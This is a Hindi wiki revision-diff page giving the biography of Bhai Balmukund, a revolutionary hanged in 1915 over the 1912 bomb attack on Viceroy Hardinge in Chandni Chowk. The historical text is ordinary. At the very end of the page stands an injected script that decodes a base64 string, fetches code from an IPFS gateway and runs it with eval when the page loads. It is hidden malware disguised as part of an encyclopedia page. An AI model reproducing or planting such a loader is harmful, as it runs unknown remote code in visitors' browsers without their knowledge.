"भाई बालमुकुंद": अवतरणों में अंतर
No edit summary |
|||
(3 सदस्यों द्वारा किए गए बीच के 9 अवतरण नहीं दर्शाए गए) | |||
पंक्ति 1: | पंक्ति 1: | ||
'''भाई बालमुकुंद''' ([[अंग्रेज़ी]]: ''Bhai Balmukund'', जन्म- [[1889]]; शहादत- [[ | {{सूचना बक्सा स्वतन्त्रता सेनानी | ||
|चित्र=Blankimage.png | |||
|चित्र का नाम=भाई बालमुकुंद | |||
|पूरा नाम=भाई बालमुकुंद | |||
|अन्य नाम= | |||
|जन्म=[[1889]] | |||
|जन्म भूमि=करियाला, ज़िला जेहलम, [[पाकिस्तान]] (अविभाजित [[भारत]]) | |||
|मृत्यु=[[8 मई]], [[1915]] | |||
|मृत्यु स्थान=[[चाँदनी चौक]], [[दिल्ली]] | |||
|मृत्यु कारण=फ़ाँसी | |||
|अभिभावक=भाई मथुरादास | |||
|पति/पत्नी=रामरखी | |||
|संतान= | |||
|स्मारक= | |||
|क़ब्र= | |||
|नागरिकता=भारतीय | |||
|प्रसिद्धि=स्वतंत्रता सेनानी | |||
|धर्म=[[हिन्दू]] | |||
|आंदोलन= | |||
|जेल यात्रा= | |||
|कार्य काल= | |||
|विद्यालय=डी.ए.वी. कॉलेज, [[लाहौर]] | |||
|शिक्षा=स्नातक तथा बी.टी.सी. | |||
|पुरस्कार-उपाधि= | |||
|विशेष योगदान= | |||
|संबंधित लेख= | |||
|शीर्षक 1=विशेष | |||
|पाठ 1='दिल्ली षड़यंत्र' में भाई बालमुकुंद की भी मुख्य भूमिका थी। [[चाँदनी चौक]] में सन [[1912]] में भाई बालमुकुंद ने [[मास्टर अवधबिहारी]] तथा [[मास्टर अमीरचंद]] के साथ मिलकर [[अंग्रेज़]] [[वाइसराय]] [[लॉर्ड हार्डिंग]] पर बम फेंका था, किंतु वह इस हमले में बाल-बाल बच गया। | |||
|शीर्षक 2= | |||
|पाठ 2= | |||
|अन्य जानकारी=भाई बालमुकुंद का [[विवाह]] फ़ाँसी दिये जाने से एक साल पहले ही हुआ था। आज़ादी की लड़ाई में जुटे होने के कारण वे कुछ समय ही पत्नी के साथ रह सके थे। | |||
|बाहरी कड़ियाँ= | |||
|अद्यतन= | |||
}} | |||
'''भाई बालमुकुंद''' ([[अंग्रेज़ी]]: ''Bhai Balmukund'', जन्म- [[1889]]; शहादत- [[8 मई]], [[1915]], [[दिल्ली]]) [[भारत]] की स्वतंत्रता के लिए संघर्ष करने वाले क्रांतिकारियों में से एक थे। 'दिल्ली षड़यंत्र' में फ़ाँसी पाने वाले प्रमुख क्रांतिकारियों में से वे एक थे। सन [[1912]] में [[दिल्ली]] के [[चाँदनी चौक]] में [[लॉर्ड हार्डिंग|लॉर्ड हार्डिग]] पर फेंके गये बमकाण्ड में [[अमीर चन्द|मास्टर अमीरचंद]], भाई बालमुकुंद और [[अवध बिहारी|मास्टर अवध बिहारी]] को 8 मई, 1915 को फ़ाँसी पर लटका दिया गया, जबकि अगले दिन [[9 मई]] को [[अंबाला]] में वसंत कुमार विश्वास को फ़ाँसी दी गई। यद्यपि भाई बालमुकुंद पर जुर्म साबित नहीं हुआ था, फिर भी शक के आधार पर [[अंग्रेज़]] हुकूमत ने उन्हें सज़ा दी। भाई बालमुकुंद महान् क्रान्तिकारी [[भाई परमानन्द]] के चचेरे भाई थे। दिल्ली में जिस स्थान पर बालमुकुंद को फ़ाँसी दी गई, वहाँ शहीद स्मारक बना दिया गया है, जो दिल्ली गेट स्थित 'मौलाना आज़ाद मेडिकल कॉलेज' में स्थित है। | |||
==परिचय== | ==परिचय== | ||
भाई बालमुकुंद का जन्म सन [[1889]] को करियाला, ज़िला जेहलम, [[पाकिस्तान]] में हुआ था। इनके [[पिता]] का नाम भाई मथुरादास था। भाई बालमुकुंद के खानदान में अपने सिद्धांतों पर मर मिटने की प्रथा बड़ी पुरानी थी। [[गुरु नानक]] के अनुयायी पहले शांति के पुजारी थे, पर जब मुग़लों ने उन्हें दबाना चाहा तो ये ही शांतिप्रिय शिष्य तलवार उठाने पर विवश हुए। यह एक बहुत बड़ा परिवर्तन था। इस परिवर्तन के पीछे भाई बालमुकुंद के पूर्वपुरुषों का बहुत बड़ा योग था। इसी कुल में मतिदास हुए, जो गुरु | भाई बालमुकुंद का जन्म सन [[1889]] को करियाला, ज़िला जेहलम, [[पाकिस्तान]] में हुआ था। इनके [[पिता]] का नाम भाई मथुरादास था। भाई बालमुकुंद के खानदान में अपने सिद्धांतों पर मर मिटने की प्रथा बड़ी पुरानी थी। [[गुरु नानक]] के अनुयायी पहले शांति के पुजारी थे, पर जब मुग़लों ने उन्हें दबाना चाहा तो ये ही शांतिप्रिय शिष्य तलवार उठाने पर विवश हुए। यह एक बहुत बड़ा परिवर्तन था। इस परिवर्तन के पीछे भाई बालमुकुंद के पूर्वपुरुषों का बहुत बड़ा योग था। इसी कुल में मतिदास हुए, जो [[गुरु तेग़ बहादुर]] के साथ शहीद हुए। उन्हें लकड़ी के दोशहतीरों के के बीच रखकर आरी से चीरा गया। इस बलिदान के कारण [[गुरु गोविंदसिंह]] ने इस कुल के लोगों को '''भाई''' की उपाधी दी थी। इसी त्याग-तपस्या से उज्ज्वल कुल में भाई बालमुकुंद का जन्म हुआ था। इनके चार भाई थे- जयरामदास, शिवराम, कृपाराम और रामभज। उनकी एकमात्र बहन द्रौपदी देवी, छोटी उम्र में विधवा हो जाने के कारण पिता के यहाँ ही रहती थीं।<ref name="aa">{{पुस्तक संदर्भ |पुस्तक का नाम=भूले बिसरे क्रांतिकारी|लेखक=रामशरण विद्यार्थी, मन्मथनाथ गुप्त|अनुवादक= |आलोचक= |प्रकाशक=सूचना और प्रकाशन मंत्रालय, भारत सरकार|संकलन= भारत डिस्कवरी पुस्तकालय|संपादन= |पृष्ठ संख्या=79|url=}}</ref> | ||
;शिक्षा | ;शिक्षा | ||
बालमुकुंद [[लाहौर]] के डी.ए.वी. कॉलेज में पढ़कर स्नातक हुए और फिर उन्होंने शिक्षक बनने के उद्देश्य से बी.टी. की परीक्षा भी पास कर ली। [[1910]] के बी.टी. परीक्षार्थियों में उनका नंबर तीसरा था। | बालमुकुंद [[लाहौर]] के डी.ए.वी. कॉलेज में पढ़कर स्नातक हुए और फिर उन्होंने शिक्षक बनने के उद्देश्य से बी.टी. की परीक्षा भी पास कर ली। [[1910]] के बी.टी.सी. उत्तीर्ण परीक्षार्थियों में उनका नंबर तीसरा था। | ||
;विवाह | ;विवाह | ||
भाई बालमुकुंद का [[विवाह]] फ़ाँसी दिये जाने से एक साल पहले ही हुआ था। आज़ादी की लड़ाई में जुटे होने के कारण वे कुछ समय ही पत्नी के साथ रह सके। उनकी पत्नी का नाम रामरखी था। उनकी इच्छा थी कि भाई बालमुकुंद का शव उन्हें सौंप दिया जाए, लेकिन अंग्रेज़ हुकूमत ने उन्हें शव नहीं दिया। उसी दिन से रामरखी ने भोजन व पानी त्याग दिया और अठारहवें दिन उनकी भी मृत्यु हो गई। | भाई बालमुकुंद का [[विवाह]] फ़ाँसी दिये जाने से एक साल पहले ही हुआ था। आज़ादी की लड़ाई में जुटे होने के कारण वे कुछ समय ही पत्नी के साथ रह सके। उनकी पत्नी का नाम रामरखी था। उनकी इच्छा थी कि भाई बालमुकुंद का शव उन्हें सौंप दिया जाए, लेकिन अंग्रेज़ हुकूमत ने उन्हें शव नहीं दिया। उसी दिन से रामरखी ने भोजन व पानी त्याग दिया और अठारहवें दिन उनकी भी मृत्यु हो गई। | ||
==बाबा तपसीराम का प्रभाव== | ==बाबा तपसीराम का प्रभाव== | ||
बचपन से ही बालमुकुंद की रुची व्यापक थी। [[भाई परमानंद]] और वह, दोनों गाँव के अन्य बालकों से भिन्न थे। पास ही एक नाला था, जिसे बनह्वा कहते थे। [[वर्षा]] के दिनों में यह नदी का रूप धारण कर लेता था और उसको पार करना कुशल तैराक का ही काम होता था। उसी नाले के किनारे तपसीराम नाम के [[साधु]] रहते थे, जो आम साधुओं से भिन्न थे। तपसीराम अच्छे ज़मींदार घराने के थे। वह उसी नाले के किनारे पर गुफा में रहते थे। [[गाँव]] में जब कभी कोई झगड़ा होता, वह फौरन वहाँ पहुंचते और न्यायपक्ष में बोलते। इससे वह 'महाराज' नाम से मशहूर हो गये थे। महाराज अंग्रेज़ी राज्य के विरुद्ध थे। उन्होंने एक अखाड़ा खोल रखा था, | बचपन से ही बालमुकुंद की रुची व्यापक थी। [[भाई परमानंद]] और वह, दोनों [[गाँव]] के अन्य बालकों से भिन्न थे। पास ही एक नाला था, जिसे बनह्वा कहते थे। [[वर्षा]] के दिनों में यह नदी का रूप धारण कर लेता था और उसको पार करना कुशल तैराक का ही काम होता था। उसी नाले के किनारे तपसीराम नाम के [[साधु]] रहते थे, जो आम साधुओं से भिन्न थे। तपसीराम अच्छे [[ज़मींदार]] घराने के थे। वह उसी नाले के किनारे पर गुफा में रहते थे। [[गाँव]] में जब कभी कोई झगड़ा होता, वह फौरन वहाँ पहुंचते और न्यायपक्ष में बोलते। इससे वह 'महाराज' नाम से मशहूर हो गये थे। महाराज अंग्रेज़ी राज्य के विरुद्ध थे। उन्होंने एक अखाड़ा खोल रखा था, जहाँ शारीरिक क्षमता बढ़ाने के लिए व्यायाम और खेलकूदों का बाकायदा अभ्यास चलता था। इस वातावरण में अग्रेंज़ी-विरोधी महाराज का दोनों भाइयों पर काफ़ी प्रभाव पड़ा। | ||
बाद में इस प्रभाव को गाढ़ा होने का मौका तब मिला, जब भाई बालमुकुंद की भेंट मास्टर अमीरचंद, [[लाला हरदयाल]] और [[रासबिहारी बोस]] से हुई और वह क्रांतिकारी बन गये। इस बीच उन्होंने नौकरी कर ली थी, पर उन्होंने नौकरी छोड़ दी। तब उनके बड़े भाई जयरामदास को चिंता हुई और उन्होंने बालमुकुंद [[विवाह]] करवा दिया। विवाह हो जाने पर भाई बालमुकुंद का मन क्रांति से नहीं फिरा, बल्कि अवधबिहारी और भाई बालमुकुंद ने क्रांतिकारी साहित्य डट कर तैयार किया और सर्वत्र बांटा। साथ ही वह बम बनाने की भी शिक्षा लेते रहे।<ref name="aa"/> | बाद में इस प्रभाव को गाढ़ा होने का मौका तब मिला, जब भाई बालमुकुंद की भेंट मास्टर अमीरचंद, [[लाला हरदयाल]] और [[रासबिहारी बोस]] से हुई और वह क्रांतिकारी बन गये। इस बीच उन्होंने नौकरी कर ली थी, पर उन्होंने नौकरी छोड़ दी। तब उनके बड़े भाई जयरामदास को चिंता हुई और उन्होंने बालमुकुंद [[विवाह]] करवा दिया। विवाह हो जाने पर भाई बालमुकुंद का मन क्रांति से नहीं फिरा, बल्कि अवधबिहारी और भाई बालमुकुंद ने क्रांतिकारी साहित्य डट कर तैयार किया और सर्वत्र बांटा। साथ ही वह बम बनाने की भी शिक्षा लेते रहे।<ref name="aa"/> | ||
पंक्ति 13: | पंक्ति 47: | ||
[[23 दिसंबर]], [[1912]] को [[लॉर्ड हार्डिंग]] के जुलूस पर [[चाँदनी चौक]] में जो बम फेंका गया, उससे [[वाइसराय]] बाल-बाल बचा। इस बमकाण्ड में बसंत कुमार विश्वास के अलावा भाई बालमुकुंद का सक्रिय सहयोग था। दोनों बुर्के पहने स्त्रियों की भीड़ में थे। वहीं से बम गिराया गया। भाई बालमुकुंद को इस बात का बड़ा दु:ख रहा कि बाइसराय बच गया। इसलिए उन्होंने अपनी पत्नी को [[भाई परमानंद]] के घरवालों के पास छोड़ा और स्वयं [[जोधपुर]] के राजकुमारों के ट्यूटर बन गये। योजना यह थी कि लॉर्ड हार्डिंग यहाँ कभी-कभी आयेगा और वह नजदीक से उन पर बम फेंक कर अधूरा काम पूरा करेंगे। | [[23 दिसंबर]], [[1912]] को [[लॉर्ड हार्डिंग]] के जुलूस पर [[चाँदनी चौक]] में जो बम फेंका गया, उससे [[वाइसराय]] बाल-बाल बचा। इस बमकाण्ड में बसंत कुमार विश्वास के अलावा भाई बालमुकुंद का सक्रिय सहयोग था। दोनों बुर्के पहने स्त्रियों की भीड़ में थे। वहीं से बम गिराया गया। भाई बालमुकुंद को इस बात का बड़ा दु:ख रहा कि बाइसराय बच गया। इसलिए उन्होंने अपनी पत्नी को [[भाई परमानंद]] के घरवालों के पास छोड़ा और स्वयं [[जोधपुर]] के राजकुमारों के ट्यूटर बन गये। योजना यह थी कि लॉर्ड हार्डिंग यहाँ कभी-कभी आयेगा और वह नजदीक से उन पर बम फेंक कर अधूरा काम पूरा करेंगे। | ||
==गिरफ़्तारी तथा फ़ाँसी== | ==गिरफ़्तारी तथा फ़ाँसी== | ||
पुलिस को बहुत दिनों तक पता नहीं चल पाया कि [[चाँदनी चौक]] के बमकांड के पीछे कौन था। लेकिन, आखिर में [[16 फ़रवरी]], [[1914]] को वह गिरफ्तार कर लिये गये। मुकदमा चला और [[8 मई]], [[1915]] को उन्हें मास्टर अमीरचंद और | पुलिस को बहुत दिनों तक पता नहीं चल पाया कि [[चाँदनी चौक]] के बमकांड के पीछे कौन था। लेकिन, आखिर में [[16 फ़रवरी]], [[1914]] को वह गिरफ्तार कर लिये गये। मुकदमा चला और [[8 मई]], [[1915]] को उन्हें [[अमीर चन्द|मास्टर अमीरचंद]] और [[अवध बिहारी]] के साथ [[दिल्ली]] जेल में फ़ाँसी दी गयी। अब इस स्थान पर आज़ाद मेडिकल कॉलेज है। | ||
==वीरांगना पत्नी 'रामरखी'== | ==वीरांगना पत्नी 'रामरखी'== | ||
भाई बालमुकुंद की [[कहानी]] कई दृष्टियों से बड़ी रोमांचकारी है। वह स्वयं तो वीर थे ही, उनकी पत्नी भी आदर्श वीरांगना थीं। पति के गिरफ्तार होने के दिन से ही श्रीमती रामरखी दुबली होने लगीं। उनको कुछ आभास-सा हो गया था कि बस अब सब कुछ समाप्त होने को है। उन्हें बड़ी मुश्किल से जेल में पति से मिलने की इजाजत मिली। रामरखी ने पति से पूछा था- "खाना कैसा मिलता है?" भाई बालमुकुंद ने हँसकर कहा- "[[मिट्टी]] मिली रोटी।" रामरखी अपने आटे में भी मिट्टी मिलाने लगीं। दुबारा जब वह मिलने गयीं तो पूछा कि सोते कहाँ हैं। इसके उत्तर में भाई बालमुकुंद ने बताया कि- "अधेंरी कोठरी में दो कंबलों पर"। बस, उस दिन से श्रीमती रामरखी [[ग्रीष्म ऋतु]] में भी कंबल पर लेटने लगीं। जिस दिन भाई जी को फ़ाँसी हुई, उस दिन सवेरे उठकर रामरखी ने वस्त्र-[[आभूषण]] धारण किये और जाकर एक चबूतरे पर बैठ गयीं। उनके चेहरे पर दु:ख का कोई चिह्न था। किंतु वह जो बैठ गयीं तो फिर उठी नहीं। श्रीमती रामरखी ने न तो ज़हर खाया था और ना ही कोई ऐसी अन्य बात की थी। पती-पत्नी दोनों की चिता एक साथ जलायी गयी।<ref name="aa"/> | भाई बालमुकुंद की [[कहानी]] कई दृष्टियों से बड़ी रोमांचकारी है। वह स्वयं तो वीर थे ही, उनकी पत्नी भी आदर्श वीरांगना थीं। पति के गिरफ्तार होने के दिन से ही श्रीमती रामरखी दुबली होने लगीं। उनको कुछ आभास-सा हो गया था कि बस अब सब कुछ समाप्त होने को है। उन्हें बड़ी मुश्किल से जेल में पति से मिलने की इजाजत मिली। रामरखी ने पति से पूछा था- "खाना कैसा मिलता है?" भाई बालमुकुंद ने हँसकर कहा- "[[मिट्टी]] मिली रोटी।" रामरखी अपने आटे में भी मिट्टी मिलाने लगीं। दुबारा जब वह मिलने गयीं तो पूछा कि सोते कहाँ हैं। इसके उत्तर में भाई बालमुकुंद ने बताया कि- "अधेंरी कोठरी में दो कंबलों पर"। बस, उस दिन से श्रीमती रामरखी [[ग्रीष्म ऋतु]] में भी कंबल पर लेटने लगीं। जिस दिन भाई जी को फ़ाँसी हुई, उस दिन सवेरे उठकर रामरखी ने वस्त्र-[[आभूषण]] धारण किये और जाकर एक चबूतरे पर बैठ गयीं। उनके चेहरे पर दु:ख का कोई चिह्न था। किंतु वह जो बैठ गयीं तो फिर उठी नहीं। श्रीमती रामरखी ने न तो ज़हर खाया था और ना ही कोई ऐसी अन्य बात की थी। पती-पत्नी दोनों की चिता एक साथ जलायी गयी।<ref name="aa"/> |
11:23, 8 मई 2020 के समय का अवतरण
भाई बालमुकुंद
| |
पूरा नाम | भाई बालमुकुंद |
जन्म | 1889 |
जन्म भूमि | करियाला, ज़िला जेहलम, पाकिस्तान (अविभाजित भारत) |
मृत्यु | 8 मई, 1915 |
मृत्यु स्थान | चाँदनी चौक, दिल्ली |
मृत्यु कारण | फ़ाँसी |
अभिभावक | भाई मथुरादास |
पति/पत्नी | रामरखी |
नागरिकता | भारतीय |
प्रसिद्धि | स्वतंत्रता सेनानी |
धर्म | हिन्दू |
विद्यालय | डी.ए.वी. कॉलेज, लाहौर |
शिक्षा | स्नातक तथा बी.टी.सी. |
विशेष | 'दिल्ली षड़यंत्र' में भाई बालमुकुंद की भी मुख्य भूमिका थी। चाँदनी चौक में सन 1912 में भाई बालमुकुंद ने मास्टर अवधबिहारी तथा मास्टर अमीरचंद के साथ मिलकर अंग्रेज़ वाइसराय लॉर्ड हार्डिंग पर बम फेंका था, किंतु वह इस हमले में बाल-बाल बच गया। |
अन्य जानकारी | भाई बालमुकुंद का विवाह फ़ाँसी दिये जाने से एक साल पहले ही हुआ था। आज़ादी की लड़ाई में जुटे होने के कारण वे कुछ समय ही पत्नी के साथ रह सके थे। |
भाई बालमुकुंद (अंग्रेज़ी: Bhai Balmukund, जन्म- 1889; शहादत- 8 मई, 1915, दिल्ली) भारत की स्वतंत्रता के लिए संघर्ष करने वाले क्रांतिकारियों में से एक थे। 'दिल्ली षड़यंत्र' में फ़ाँसी पाने वाले प्रमुख क्रांतिकारियों में से वे एक थे। सन 1912 में दिल्ली के चाँदनी चौक में लॉर्ड हार्डिग पर फेंके गये बमकाण्ड में मास्टर अमीरचंद, भाई बालमुकुंद और मास्टर अवध बिहारी को 8 मई, 1915 को फ़ाँसी पर लटका दिया गया, जबकि अगले दिन 9 मई को अंबाला में वसंत कुमार विश्वास को फ़ाँसी दी गई। यद्यपि भाई बालमुकुंद पर जुर्म साबित नहीं हुआ था, फिर भी शक के आधार पर अंग्रेज़ हुकूमत ने उन्हें सज़ा दी। भाई बालमुकुंद महान् क्रान्तिकारी भाई परमानन्द के चचेरे भाई थे। दिल्ली में जिस स्थान पर बालमुकुंद को फ़ाँसी दी गई, वहाँ शहीद स्मारक बना दिया गया है, जो दिल्ली गेट स्थित 'मौलाना आज़ाद मेडिकल कॉलेज' में स्थित है।
परिचय
भाई बालमुकुंद का जन्म सन 1889 को करियाला, ज़िला जेहलम, पाकिस्तान में हुआ था। इनके पिता का नाम भाई मथुरादास था। भाई बालमुकुंद के खानदान में अपने सिद्धांतों पर मर मिटने की प्रथा बड़ी पुरानी थी। गुरु नानक के अनुयायी पहले शांति के पुजारी थे, पर जब मुग़लों ने उन्हें दबाना चाहा तो ये ही शांतिप्रिय शिष्य तलवार उठाने पर विवश हुए। यह एक बहुत बड़ा परिवर्तन था। इस परिवर्तन के पीछे भाई बालमुकुंद के पूर्वपुरुषों का बहुत बड़ा योग था। इसी कुल में मतिदास हुए, जो गुरु तेग़ बहादुर के साथ शहीद हुए। उन्हें लकड़ी के दोशहतीरों के के बीच रखकर आरी से चीरा गया। इस बलिदान के कारण गुरु गोविंदसिंह ने इस कुल के लोगों को भाई की उपाधी दी थी। इसी त्याग-तपस्या से उज्ज्वल कुल में भाई बालमुकुंद का जन्म हुआ था। इनके चार भाई थे- जयरामदास, शिवराम, कृपाराम और रामभज। उनकी एकमात्र बहन द्रौपदी देवी, छोटी उम्र में विधवा हो जाने के कारण पिता के यहाँ ही रहती थीं।[1]
- शिक्षा
बालमुकुंद लाहौर के डी.ए.वी. कॉलेज में पढ़कर स्नातक हुए और फिर उन्होंने शिक्षक बनने के उद्देश्य से बी.टी. की परीक्षा भी पास कर ली। 1910 के बी.टी.सी. उत्तीर्ण परीक्षार्थियों में उनका नंबर तीसरा था।
- विवाह
भाई बालमुकुंद का विवाह फ़ाँसी दिये जाने से एक साल पहले ही हुआ था। आज़ादी की लड़ाई में जुटे होने के कारण वे कुछ समय ही पत्नी के साथ रह सके। उनकी पत्नी का नाम रामरखी था। उनकी इच्छा थी कि भाई बालमुकुंद का शव उन्हें सौंप दिया जाए, लेकिन अंग्रेज़ हुकूमत ने उन्हें शव नहीं दिया। उसी दिन से रामरखी ने भोजन व पानी त्याग दिया और अठारहवें दिन उनकी भी मृत्यु हो गई।
बाबा तपसीराम का प्रभाव
बचपन से ही बालमुकुंद की रुची व्यापक थी। भाई परमानंद और वह, दोनों गाँव के अन्य बालकों से भिन्न थे। पास ही एक नाला था, जिसे बनह्वा कहते थे। वर्षा के दिनों में यह नदी का रूप धारण कर लेता था और उसको पार करना कुशल तैराक का ही काम होता था। उसी नाले के किनारे तपसीराम नाम के साधु रहते थे, जो आम साधुओं से भिन्न थे। तपसीराम अच्छे ज़मींदार घराने के थे। वह उसी नाले के किनारे पर गुफा में रहते थे। गाँव में जब कभी कोई झगड़ा होता, वह फौरन वहाँ पहुंचते और न्यायपक्ष में बोलते। इससे वह 'महाराज' नाम से मशहूर हो गये थे। महाराज अंग्रेज़ी राज्य के विरुद्ध थे। उन्होंने एक अखाड़ा खोल रखा था, जहाँ शारीरिक क्षमता बढ़ाने के लिए व्यायाम और खेलकूदों का बाकायदा अभ्यास चलता था। इस वातावरण में अग्रेंज़ी-विरोधी महाराज का दोनों भाइयों पर काफ़ी प्रभाव पड़ा।
बाद में इस प्रभाव को गाढ़ा होने का मौका तब मिला, जब भाई बालमुकुंद की भेंट मास्टर अमीरचंद, लाला हरदयाल और रासबिहारी बोस से हुई और वह क्रांतिकारी बन गये। इस बीच उन्होंने नौकरी कर ली थी, पर उन्होंने नौकरी छोड़ दी। तब उनके बड़े भाई जयरामदास को चिंता हुई और उन्होंने बालमुकुंद विवाह करवा दिया। विवाह हो जाने पर भाई बालमुकुंद का मन क्रांति से नहीं फिरा, बल्कि अवधबिहारी और भाई बालमुकुंद ने क्रांतिकारी साहित्य डट कर तैयार किया और सर्वत्र बांटा। साथ ही वह बम बनाने की भी शिक्षा लेते रहे।[1]
लॉर्ड हार्डिंग पर हमला
23 दिसंबर, 1912 को लॉर्ड हार्डिंग के जुलूस पर चाँदनी चौक में जो बम फेंका गया, उससे वाइसराय बाल-बाल बचा। इस बमकाण्ड में बसंत कुमार विश्वास के अलावा भाई बालमुकुंद का सक्रिय सहयोग था। दोनों बुर्के पहने स्त्रियों की भीड़ में थे। वहीं से बम गिराया गया। भाई बालमुकुंद को इस बात का बड़ा दु:ख रहा कि बाइसराय बच गया। इसलिए उन्होंने अपनी पत्नी को भाई परमानंद के घरवालों के पास छोड़ा और स्वयं जोधपुर के राजकुमारों के ट्यूटर बन गये। योजना यह थी कि लॉर्ड हार्डिंग यहाँ कभी-कभी आयेगा और वह नजदीक से उन पर बम फेंक कर अधूरा काम पूरा करेंगे।
गिरफ़्तारी तथा फ़ाँसी
पुलिस को बहुत दिनों तक पता नहीं चल पाया कि चाँदनी चौक के बमकांड के पीछे कौन था। लेकिन, आखिर में 16 फ़रवरी, 1914 को वह गिरफ्तार कर लिये गये। मुकदमा चला और 8 मई, 1915 को उन्हें मास्टर अमीरचंद और अवध बिहारी के साथ दिल्ली जेल में फ़ाँसी दी गयी। अब इस स्थान पर आज़ाद मेडिकल कॉलेज है।
वीरांगना पत्नी 'रामरखी'
भाई बालमुकुंद की कहानी कई दृष्टियों से बड़ी रोमांचकारी है। वह स्वयं तो वीर थे ही, उनकी पत्नी भी आदर्श वीरांगना थीं। पति के गिरफ्तार होने के दिन से ही श्रीमती रामरखी दुबली होने लगीं। उनको कुछ आभास-सा हो गया था कि बस अब सब कुछ समाप्त होने को है। उन्हें बड़ी मुश्किल से जेल में पति से मिलने की इजाजत मिली। रामरखी ने पति से पूछा था- "खाना कैसा मिलता है?" भाई बालमुकुंद ने हँसकर कहा- "मिट्टी मिली रोटी।" रामरखी अपने आटे में भी मिट्टी मिलाने लगीं। दुबारा जब वह मिलने गयीं तो पूछा कि सोते कहाँ हैं। इसके उत्तर में भाई बालमुकुंद ने बताया कि- "अधेंरी कोठरी में दो कंबलों पर"। बस, उस दिन से श्रीमती रामरखी ग्रीष्म ऋतु में भी कंबल पर लेटने लगीं। जिस दिन भाई जी को फ़ाँसी हुई, उस दिन सवेरे उठकर रामरखी ने वस्त्र-आभूषण धारण किये और जाकर एक चबूतरे पर बैठ गयीं। उनके चेहरे पर दु:ख का कोई चिह्न था। किंतु वह जो बैठ गयीं तो फिर उठी नहीं। श्रीमती रामरखी ने न तो ज़हर खाया था और ना ही कोई ऐसी अन्य बात की थी। पती-पत्नी दोनों की चिता एक साथ जलायी गयी।[1]
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>